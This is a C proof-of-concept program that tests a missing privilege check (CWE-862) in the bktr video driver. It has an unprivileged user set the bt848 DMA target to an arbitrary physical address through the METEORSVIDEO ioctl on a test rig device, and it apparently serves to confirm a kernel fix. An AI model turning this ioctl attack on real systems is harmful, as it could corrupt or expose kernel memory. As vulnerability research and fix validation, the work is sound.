/*
 * DF-1215 rig PoC: exercise the PRODUCTION METEORSVIDEO/METEORGVIDEO
 * ioctl path as an UNPRIVILEGED user, via the bktrig rig module
 * (/dev/bktrig0 -> production video_ioctl() from bktr.ko).
 *
 * On the baseline (unfixed) kernel: METEORSVIDEO with an arbitrary
 * physical address SUCCEEDS and METEORGVIDEO reads it back -- proving the
 * production handler stores an attacker-chosen bt848 DMA target with no
 * privilege check (CWE-862) that the RISC builders then consume
 * (bktr_core.c:2670/2841/2996/3114/3215).
 *
 * On the fixed kernel: METEORSVIDEO with addr != 0 must fail EPERM,
 * while addr == 0 (use the kernel-allocated buffer) stays allowed.
 *
 * Build:  cc -O2 -Wall -o poc_rig poc_rig.c
 * Run:    ./poc_rig    (as ANY non-root user)
 */
#include <fcntl.h>
#include <unistd.h>
#include <strings.h>
#include <string.h>
#include <errno.h>
#include <stdio.h>
#include <sys/ioctl.h>

#include <dev/video/meteor/ioctl_meteor.h>

static int set_video(int fd, unsigned long addr)
{
	struct meteor_video v;

	bzero(&v, sizeof(v));
	v.addr = addr;
	v.width = 640 * 4;
	v.banksize = 0;
	v.ramsize = 0;
	errno = 0;
	return ioctl(fd, METEORSVIDEO, &v);
}

int main(void)
{
	struct meteor_video g;
	int fd, rc;

	printf("uid=%d euid=%d\n", getuid(), geteuid());
	fd = open("/dev/bktrig0", O_RDWR);
	if (fd < 0) {
		perror("open /dev/bktrig0");
		return 1;
	}

	/* 1) THE ATTACK: set DMA target to an arbitrary physical address */
	rc = set_video(fd, 0x100000UL);
	printf("METEORSVIDEO addr=0x100000 -> rc=%d errno=%d (%s)\n",
	    rc, errno, strerror(errno));

	/* 2) read it back through the production METEORGVIDEO path */
	memset(&g, 0xAA, sizeof(g));
	errno = 0;
	rc = ioctl(fd, METEORGVIDEO, &g);
	printf("METEORGVIDEO readback -> rc=%d addr=0x%lx width=%lu\n",
	    rc, g.addr, g.width);

	/* 3) the non-redirect case (addr == 0) must remain allowed */
	rc = set_video(fd, 0UL);
	printf("METEORSVIDEO addr=0 (kernel buffer mode) -> rc=%d errno=%d "
	    "(%s)\n", rc, errno, strerror(errno));

	if (close(fd) < 0)
		perror("close");
	return 0;
}
